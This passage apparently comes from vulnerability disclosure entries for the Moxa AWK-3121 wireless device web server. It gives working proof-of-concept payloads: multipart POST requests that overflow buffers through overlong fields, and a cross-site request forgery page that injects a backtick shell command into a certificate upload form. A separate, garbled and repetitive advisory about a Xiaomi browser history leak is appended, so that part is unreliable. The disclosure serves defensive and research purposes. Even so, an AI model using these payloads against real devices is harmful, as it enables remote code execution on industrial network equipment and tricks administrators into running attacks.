on the device. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 12. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=071b1093656adca3510d5e32f69737ec ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" `ping -c 3 192.168.127.101` ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 13. ------------------------------------------ [Additional Information] POC <html <body <script function submitRequest() { var formData = new FormData(); formData.append("iw_filename", ";`ping -c 9 192.168.127.103` ##"); formData.append("iw_storage", "tftp"); formData.append("iw_serverip", "192.168.1.101"); formData.append("bkpath", "/wireless_cert.asp?index=1"); // HTML file input, chosen by user formData.append("certFile1", "test.txt"); // JavaScript file-like object var content = '<a id="a"<b id="b"hey!</b</a'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("certFile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://192.168.127.253/forms/web_certUpload"); request.send(formData); } </script <form action="#" <input type="submit" value="Submit request" onclick="submitRequest();" / </form </body </html ------------------------------------------ [VulnerabilityType Other] Command injection in web runscript functionality ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 14. ------------------------------------------ [Additional Information] POC POST /forms/web_runScript HTTP/1.1 Cookie: Password508=c629f1b9d18c3d751da6d7b1fd43e628 ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_filename"; filename="XXXX" Content-Type: application/octet-stream ls -ltr ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_storage" tftp ... 7e21a62f2905ca Content-Disposition: form-data; name="iw_serverip" AAAAAAAAAAAAAAAAAA (etc.) ... 7e21a62f2905ca Content-Disposition: form-data; name="bkpath" /Troubleshooting.asp ... 7e21a62f2905ca-- ------------------------------------------ [Vulnerability Type] Buffer Overflow ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Use XSRF form to trick an admin into submitting the request and execute the buffer overflow ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley

Xiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones allows content provider injection. In other words, a third-party application can read the user's cleartext browser history via an app.provider.query content://com.android.browser.searchhistory/searchhistory request. Xiaomi Stock Browser Contains an information disclosure vulnerability.Information may be obtained. XiaomiRedmiNote5Pro is a smart phone from China Xiaomi Technology (Xiaomi). XiaomiStockBrowser is one of the stock browsers. The vulnerability stems from errors in the configuration of the network system or product during operation. An unauthorized attacker can exploit the vulnerability to obtain sensitive information about the affected component. The Xiaomi Redmi Note 5 Pro is a smartphone from the Chinese company Xiaomi